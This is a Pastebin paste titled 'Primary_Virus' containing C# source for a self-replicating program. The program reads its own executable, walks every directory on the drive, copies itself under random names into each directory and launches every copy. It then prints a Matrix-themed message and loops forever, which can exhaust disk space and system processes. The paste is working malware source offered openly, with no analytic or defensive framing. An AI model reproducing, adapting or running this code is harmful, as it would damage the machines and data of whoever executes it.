Advertisement
xxeell

Primary_Virus

Sep 29th, 2018
150
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 2.21 KB | None | 0 0
  1. using System;
  2. using System.IO;
  3. using System.Collections.Generic;
  4. using System.Diagnostics;
  5. using System.Text;
  6.  
  7. namespace VirusTest
  8. {
  9.     class Program
  10.     {   private static byte[] this_file;
  11.         private static Random r;
  12.        
  13.         private static char get_random_char()
  14.         {
  15.             string dictionary = "0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM<>()*&?@!#$%-_";
  16.             int num = r.Next(0, dictionary.Length);
  17.             return dictionary[num];
  18.         }
  19.        
  20.         private static string name_generator()
  21.         {
  22.             int l = r.Next(1, 16);
  23.             StringBuilder s = new StringBuilder();
  24.             char t;
  25.            
  26.             for(int i = 0; i < l; i++)
  27.             {
  28.                 t = get_random_char();
  29.                 s.Append(t);
  30.             }
  31.            
  32.             return s.ToString();
  33.         }
  34.        
  35.         private static string[] get_all_directoryes()
  36.         {
  37.             string start_directory = string.Format("{0}\\", Environment.CurrentDirectory.Trim().Split('\\')[0]);
  38.            
  39.             List<string> dirs = new List<string>(Directory.GetDirectories(start_directory));
  40.             string[] t;
  41.            
  42.             for(int i = 0; i < dirs.Count; i++)
  43.             {
  44.                 try
  45.                 {
  46.                     t = Directory.GetDirectories(dirs[i]);
  47.                     foreach(string q in t)
  48.                     {
  49.                         dirs.Add(q);
  50.                     }
  51.                 }
  52.                 catch
  53.                 {
  54.                     continue;
  55.                 }
  56.             }
  57.            
  58.             dirs.Sort();
  59.            
  60.             return dirs.ToArray();
  61.         }
  62.        
  63.         private static void clone_self(string path)
  64.         {
  65.             string name = name_generator();
  66.             string new_file_path = string.Format("{0}\\{1}.exe", path, name);
  67.             try
  68.             {          
  69.                 File.WriteAllBytes(new_file_path, this_file);
  70.                 Process.Start(new_file_path);
  71.             }
  72.             catch
  73.             {
  74.                 return;
  75.             }
  76.         }
  77.        
  78.         public static void Main(string[] args)
  79.         {          
  80.             Console.Title = "Oops!";           
  81.             Console.ForegroundColor = ConsoleColor.Green;
  82.             Console.Write("Wake up, Neo! Matrix has you! ");
  83.            
  84.             r = new Random();
  85.             string this_file_path =
  86.                 System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;        
  87.             this_file = File.ReadAllBytes(this_file_path); 
  88.            
  89.             string[] directoryes = get_all_directoryes();          
  90.            
  91.             foreach(string i in directoryes)
  92.             {
  93.                 clone_self(i);
  94.                 Console.WriteLine("Wake up, Neo! Matrix has you!");
  95.             }
  96.            
  97.             for(;;)
  98.             {
  99.                 Console.Write("{0} ", get_random_char());
  100.             }
  101.            
  102.             Console.ReadKey();
  103.         }
  104.     }
  105. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement